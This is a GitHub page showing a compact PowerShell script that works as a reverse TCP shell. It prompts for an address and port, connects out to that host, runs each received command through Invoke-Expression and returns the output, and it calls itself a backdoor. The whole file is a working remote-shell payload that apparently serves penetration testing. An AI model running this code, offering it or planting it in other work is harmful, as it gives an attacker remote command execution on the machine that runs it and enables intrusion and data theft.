-
Notifications
You must be signed in to change notification settings - Fork 65
/
powershell_reverse_tcp_prompt_mini.ps1
1 lines (1 loc) · 1.53 KB
/
powershell_reverse_tcp_prompt_mini.ps1
1
$a = $(Read-Host -Prompt "Enter address").Trim(); Write-Host ""; $p = $(Read-Host -Prompt "Enter port number").Trim(); Write-Host ""; if ($a.Length -lt 1 -or $p.Length -lt 1) { Write-Host "Both parameters are required"; } else { Write-Host "PowerShell Reverse TCP v4.0 by Ivan Sincek.`nGitHub repository at github.com/ivan-sincek/powershell-reverse-tcp."; $c = $s = $b = $w = $d = $r = $null; try { $c = New-Object Net.Sockets.TcpClient($a, $p); $s = $c.GetStream(); $b = New-Object Byte[] 1024; $e = New-Object Text.UTF8Encoding; $w = New-Object IO.StreamWriter($s, [Text.Encoding]::UTF8, 1024); $w.AutoFlush = $true; Write-Host "Backdoor is up and running...`n"; $by = 0; do { $w.Write("PS>"); do { $by = $s.Read($b, 0, $b.Length); if ($by -gt 0) { $d += $e.GetString($b, 0, $by); } } while ($s.DataAvailable); if ($by -gt 0) { $d = $d.Trim(); if ($d.Length -gt 0) { try { $r = Invoke-Expression -Command $d 2>&1 | Out-String; } catch { $r = $_.Exception | Out-String; } Clear-Variable d; if ($r.Length -gt 0) { $w.Write($r); Clear-Variable r; } } } } while ($by -gt 0); Write-Host "Backdoor will now exit..."; } catch { Write-Host $_.Exception.InnerException.Message; } finally { if ($w -ne $null) { $w.Close(); $w.Dispose(); Clear-Variable w; } if ($s -ne $null) { $s.Close(); $s.Dispose(); Clear-Variable s; } if ($c -ne $null) { $c.Close(); $c.Dispose(); Clear-Variable c; } if ($b -ne $null) { $b.Clear(); Clear-Variable b; } if ($r -ne $null) { Clear-Variable r; } if ($d -ne $null) { Clear-Variable d; } [GC]::Collect(); } } Clear-Variable a; Clear-Variable p;